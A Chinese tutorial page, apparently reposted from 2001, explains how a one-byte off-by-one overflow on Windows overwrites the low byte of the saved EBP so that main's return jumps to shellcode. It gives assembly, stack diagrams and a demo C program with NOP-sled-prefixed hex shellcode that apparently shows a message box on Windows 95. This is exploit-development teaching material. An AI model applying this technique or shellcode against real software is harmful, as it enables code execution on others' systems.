推荐教程

  • 没有找到任何内容!
您当前的位置:天域资源网络安全基础知识 → 教程内容

windows下越界一个字节也能导致溢出攻击

  • 作者:佚名    来源:不详    发布时间:2007-5-31 14:45:53
  • 字体大小:
windows下越界一个字节也能导致溢出攻击


【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击

如下test()函数有问题,但我们不能覆盖ret 只能覆盖ebp低字节,我们又能作什么呢??

char buff[1024];
int i;
void test( )
{
char buffer[128];
/* . . . . . . . . . . . . . . . */
for(i=0; i<129 ; buffer[i]= buff[i++]);
/* . . . . . . . . .. . . . . . . */

}
void main()
{
/* . . .. . . ....*/
test();
/* . . . . . . .. . */
}

我们看看main 和 test调用时作了什么:

;test
;{
push ebp
mov ebp,esp
sub esp,128 ;为buffer预留空间


. . . ..

mov esp,ebp
pop ebp
ret
;}

在main中也如上:

看看 我们改写了ebp的低位后ebp将在main返回前传给esp

如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回

在main返回前

esp = ebp
pop 地址

字串5


返回pop出的 地址
|shellcode的地址| ---->|
ebp ---->| ?? | |
| | |
| shellcode | <------

那么在main函数返回时我们的shellcode将被执行.

现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer

比如buffer地址为 0x00463000
那么覆盖后如下
----------------------------------------------------------->
ebp
|ret | 0x00463000 +128 - 8 | 0x00463000| ?? | shellcode |
len: 4 4 4 4 120

main 返回时

mov esp,ebp ; ^
|
esp

pop ebp; ^
|
esp

ret 0; ok 我们的机器码被执行了!!!!


演示程序:


/*
Name : Ex_byte.c
Tested: windows95
by cloud 2001-6-5
*/


char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53, 字串6
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,20
}
void test()
{
char buffer[256];
addr = getesp();
addr += 100;

cp = (char *)buffer;

for(i=0;i<252 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
* lp = addr;
lp ++;
cp = (char *)lp;
*cp -=20;

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
字串5

{
test();
}